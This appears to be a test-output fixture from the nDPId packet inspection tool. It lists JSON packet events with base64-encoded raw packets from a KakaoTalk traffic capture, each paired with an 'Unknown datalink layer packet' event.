+00569{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2615,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069208,"pkt_ts_usec":199134,"pkt_caplen":196,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":196,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoALQAAEAAHBH9xgHJAa4KGFK8WgYoHACgyleAbFEci0KqWguGVRn0w5KHoaiel542zSCPNWGuAwD8UIXLbqTAtjeJWcero1Cr7kLqxkvHHJEIW\/tVv0VFMt7mjDxTbRnsUXXvO3xFfWwZQDMaxeweFwnYsPRRjO0MqZvjB5aYhj0fhjif4Co2g6ZnG20GO7mRoXimJhaqsoS2SDONE0oHE4zaQMzoD6zL+xRmHceb4XHiYw=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2615,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00437{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2616,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069208,"pkt_ts_usec":199195,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHRH9JwHJAa4KGFK8WgQsOAA\/432AbDOifrIMA1SapdoxhpLEFRMbG8rcee5QZ5a6xNqqTFLa\/I5cfn7W7B4avlW9piejp\/v664C0"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2616,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00453{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2617,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069208,"pkt_ts_usec":227668,"pkt_caplen":110,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":110,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAF4AAEAAPxHbRAoYUrwByQGuLDhaBABKJ5CAbFEei0Kx2guGVRnslbjh9Wf6heUGC4eNJEBjOAByFVj+hmEwOEefzjtZsHirPu\/ktc5PusL1UbLu6xzenjKuOzk="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2617,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00446{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2618,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069208,"pkt_ts_usec":229315,"pkt_caplen":105,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":105,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFkAAEAAPxHbSQoYUrwByQGuLDhaBABFAiSAbFEfi0K1mguGVRlLNrl58V1\/jSlUzaeC\/3ojpjq69H3Sz9Gsvd3PewsPoOMgupiSBLMipYOwNAD1FVsn"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2618,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00438{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2619,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069208,"pkt_ts_usec":243018,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAQBHaTwoYUrwByQGuKBxaBgA\/5lOAbDOlfrIXQ1SapdpEnFJQuIPxgj6AG7e\/Td\/CfsyzhycxWcJF\/1GybUZaQJBjSY5mtdywCx99"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2619,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00505{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2620,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069208,"pkt_ts_usec":247321,"pkt_caplen":148,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":148,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAIQAAEAAHBH99gHJAa4KGFK8WgYoHABwk+WAbFEdi0KuGguGVRm4+ZwrLwImLbEMOpGqFTM6Ep0jE2BSSOnCrJbbYqcNxlpPvbau6dQVbgTh4M8XdDYkhDFJhHr4oLq+M2I92t0+lzkiZPF8gEs5WIS4cmnrms\/wo3pP4IlhQb8gzQ=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2620,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00436{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2621,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069208,"pkt_ts_usec":279273,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHRH9JwHJAa4KGFK8WgQsOAA\/eVeAbDOjfrIPw1Sapdp7XT2C1f+4XR3ntjkrRepcFm90D+z2OJ6WeMGitScy\/jx6oN2S4l4cnurU"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2621,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00435{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2622,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069208,"pkt_ts_usec":309149,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHRH9JwHJAa4KGFK8WgQsOAA\/nWeAbDOkfrITg1SapdqFpXYBdzSPjr4Ekz2ePEG9sIQcr8W7oUc7uA8fXIWkDL0GpK10ptDdY0Z9"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2622,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00456{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2623,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069208,"pkt_ts_usec":333045,"pkt_caplen":112,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":112,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAGAAAEAAPxHbQgoYUrwByQGuLDhaBABMAaWAbFEgi0K5WguGVRmEA3eN8gsw9eKj1MYBzlAhHKcIuSuTn9bwCeNPnyIF0JBFFHk+UDhdcOXCjOoqEviwM7rdQtgVcw=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2623,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00450{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2624,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069208,"pkt_ts_usec":335578,"pkt_caplen":108,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":108,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFwAAEAAPxHbRgoYUrwByQGuLDhaBABIqNyAbFEhi0K9GguGVRm1\/A3l0RvMoX4uBaiaHe\/V3soo2PUAGLPe8GG8PARJEcqGAMLdt5VDFFfgCg4gEHmDVdZX"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2624,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00435{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2625,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069208,"pkt_ts_usec":341864,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAQBHaTwoYUrwByQGuKBxaBgA\/2dKAbDOmfrIbA1SapdotVFPphZDTT71fvu9ZWfzNhLfk3GoBy5si7pwZdpHW+R6mA2xQKHsMSVJs"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2625,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00453{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2626,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069208,"pkt_ts_usec":348456,"pkt_caplen":110,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":110,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAF4AAEAAHBH+HAHJAa4KGFK8WgYoHABKK6qAbFEei0Kx2guGVRnslbjh9Wf6heUGC4eNJEBjOAByFVj+hmEwOEefzjtZsHirPu\/ktc5PusL1UbLu6xzenjKuOzk="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2626,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00446{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2627,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069208,"pkt_ts_usec":355445,"pkt_caplen":105,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":105,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFkAAEAAHBH+IQHJAa4KGFK8WgYoHABFBj6AbFEfi0K1mguGVRlLNrl58V1\/jSlUzaeC\/3ojpjq69H3Sz9Gsvd3PewsPoOMgupiSBLMipYOwNAD1FVsn"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2627,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00438{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2628,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069208,"pkt_ts_usec":359168,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHRH9JwHJAa4KGFK8WgQsOAA\/4jmAbDOlfrIXQ1SapdpEnFJQuIPxgj6AG7e\/Td\/CfsyzhycxWcJF\/1GybUZaQJBjSY5mtdywCx99"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2628,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00435{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2629,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069208,"pkt_ts_usec":383429,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAQBHaTwoYUrwByQGuKBxaBgA\/cWyAbDOnfrIew1SapdrCiTCUlYiwEM2oin8tdcbd84eYzw9TojG8Is28aRLOZnfImiuOHyyvCG4G"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2629,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00449{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2630,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069208,"pkt_ts_usec":434180,"pkt_caplen":107,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":107,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFsAAEAAPxHbRwoYUrwByQGuLDhaBABH2u2AbFEii0LA2guGVRlI5lof\/av2DhPfv2xLSiKO1d8psdhE2gRC6hR5sLcL4tiUkqZpCmM5fkPCacHgTiO0seU="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2630,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00456{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2631,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069208,"pkt_ts_usec":449103,"pkt_caplen":112,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":112,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAGAAAEAAHBH+GgHJAa4KGFK8WgYoHABMBb+AbFEgi0K5WguGVRmEA3eN8gsw9eKj1MYBzlAhHKcIuSuTn9bwCeNPnyIF0JBFFHk+UDhdcOXCjOoqEviwM7rdQtgVcw=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2631,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00450{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2632,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069208,"pkt_ts_usec":459235,"pkt_caplen":108,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":108,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFwAAEAAHBH+HgHJAa4KGFK8WgYoHABIrPaAbFEhi0K9GguGVRm1\/A3l0RvMoX4uBaiaHe\/V3soo2PUAGLPe8GG8PARJEcqGAMLdt5VDFFfgCg4gEHmDVdZX"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2632,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00473{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2633,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069208,"pkt_ts_usec":463416,"pkt_caplen":125,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":125,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAG0AAEAAQBHaNQoYUrwByQGuKBxaBgBZp9+AbDOofrIig1SapdrEahyYKTVbx4tUq6CQ3nutPdiYZtOOjjfruOu1T77exAIJHTci2UsdJteJ5+\/aiZHi95ADL08hWyOaug3RuNZG0X5tif4="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2633,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00435{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2634,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069208,"pkt_ts_usec":467780,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHRH9JwHJAa4KGFK8WgQsOAA\/1biAbDOmfrIbA1SapdotVFPphZDTT71fvu9ZWfzNhLfk3GoBy5si7pwZdpHW+R6mA2xQKHsMSVJs"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2634,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00435{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2635,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069208,"pkt_ts_usec":499274,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHRH9JwHJAa4KGFK8WgQsOAA\/bVKAbDOnfrIew1SapdrCiTCUlYiwEM2oin8tdcbd84eYzw9TojG8Is28aRLOZnfImiuOHyyvCG4G"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2635,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00437{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2636,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069208,"pkt_ts_usec":503791,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAQBHaTwoYUrwByQGuKBxaBgA\/YFSAbDOpfrImQ1SapdoMfCfNZQ+\/l8iO\/Uguo0RzJINgXmgBwUKVKoLRBMmuNFgGGdPWZKytJERF"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2636,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00440{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2637,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069208,"pkt_ts_usec":529883,"pkt_caplen":102,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":102,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFYAAEAAPxHbTAoYUrwByQGuLDhaBABCzCiAbFEji0LEmguGVRkFMrC4aljVMZoIF0P924b2d+OkLmM+Ps7APXoder88NM7IP5WRYAPls88O6IlR"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2637,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00445{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2638,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069208,"pkt_ts_usec":530066,"pkt_caplen":105,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":105,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFkAAEAAPxHbSQoYUrwByQGuLDhaBABFN3eAbFEki0LIWguGVRkk1JKALCVOsCjXxXnhlKrdWTpVrtAqSRjHqiCweF7RuXd\/fagXVTkKr4Ve1s74dC8d"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2638,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00435{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2639,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069208,"pkt_ts_usec":544898,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAQBHaTwoYUrwByQGuKBxaBgA\/A7GAbDOqfrIqA1SapdpAHpNE7whQANFGNFrlHmn10MJFHTJkmzTbxbaUefjuipvg4H4fnYu9xd2P"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2639,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00450{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2640,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069208,"pkt_ts_usec":548651,"pkt_caplen":107,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":107,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFsAAEAAGxH\/HwHJAa4KGFK8WgYoHABH3weAbFEii0LA2guGVRlI5lof\/av2DhPfv2xLSiKO1d8psdhE2gRC6hR5sLcL4tiUkqZpCmM5fkPCacHgTiO0seU="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2640,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00473{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2641,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069208,"pkt_ts_usec":579261,"pkt_caplen":125,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":125,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAG0AAEAAHRH9DQHJAa4KGFK8WgQsOABZo8WAbDOofrIig1SapdrEahyYKTVbx4tUq6CQ3nutPdiYZtOOjjfruOu1T77exAIJHTci2UsdJteJ5+\/aiZHi95ADL08hWyOaug3RuNZG0X5tif4="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2641,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00444{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2642,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069208,"pkt_ts_usec":629279,"pkt_caplen":103,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":103,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFcAAEAAPxHbSwoYUrwByQGuLDhaBABDWU+AbFEli0LMGguGVRlTUyulB0TDvRjAmy4GyVKsk4GY2VzvfamDGqrGcqVgW3RJ6oqWOydC5wuMm4HUxQ=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2642,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00446{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2643,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069208,"pkt_ts_usec":631995,"pkt_caplen":104,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":104,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFgAAEAAPxHbSgoYUrwByQGuLDhaBABE+beAbFEmi0LP2guGVRny3G+eBXaHarN6\/HsPLpFKZumTMkj7ewX2BXhiq38L+L97p+MctoQam8L\/hhW3tN4="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2643,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00437{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2644,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069208,"pkt_ts_usec":643195,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHRH9JwHJAa4KGFK8WgQsOAA\/XDqAbDOpfrImQ1SapdoMfCfNZQ+\/l8iO\/Uguo0RzJINgXmgBwUKVKoLRBMmuNFgGGdPWZKytJERF"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2644,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00436{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2645,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069208,"pkt_ts_usec":644843,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAQBHaTwoYUrwByQGuKBxaBgA\/adqAbDOrfrItw1SapdrEToh3cU\/L0Y3B2n3t3vzOBuwm2c8rr7R3UxhdsTUmqFWcaq1PrJxlGcGh"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2645,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00440{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2646,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069208,"pkt_ts_usec":655280,"pkt_caplen":102,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":102,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFYAAEAAHBH+JAHJAa4KGFK8WgYoHABC0EKAbFEji0LEmguGVRkFMrC4aljVMZoIF0P924b2d+OkLmM+Ps7APXoder88NM7IP5WRYAPls88O6IlR"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2646,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00445{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2647,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069208,"pkt_ts_usec":659156,"pkt_caplen":105,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":105,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFkAAEAAHBH+IQHJAa4KGFK8WgYoHABFO5GAbFEki0LIWguGVRkk1JKALCVOsCjXxXnhlKrdWTpVrtAqSRjHqiCweF7RuXd\/fagXVTkKr4Ve1s74dC8d"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2647,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00436{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2648,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069208,"pkt_ts_usec":668555,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHRH9JwHJAa4KGFK8WgQsOAA\/\/5aAbDOqfrIqA1SapdpAHpNE7whQANFGNFrlHmn10MJFHTJkmzTbxbaUefjuipvg4H4fnYu9xd2P"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2648,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00494{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2649,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069208,"pkt_ts_usec":686682,"pkt_caplen":140,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":140,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAHwAAEAAQBHaJgoYUrwByQGuKBxaBgBoeC2AbDOsfrIxg1SapdrQ7AUG1unpGRVkuzCeSYVqgn3K118AO68ESA3T1uTGrjeSWdmw1zLA5vDVeyyzpw0Mxj\/7Us418Ddcqayq\/lrrPdxjfJod08DOElljR3YF3xdyxrQ="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2649,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00460{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2650,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069208,"pkt_ts_usec":725714,"pkt_caplen":117,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":117,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAGUAAEAAQBHaPQoYUrwByQGuKBxaBgBR2z6AbDOtfrI1Q1SapdoRa+iKLH3vOzjmhOzGEboWLl4VYEPh+loVOsPQgbvFG1Elv9DtVXLwuYrnJrlhG7VtYYLiTP4YSJ1ACsUF"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2650,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} 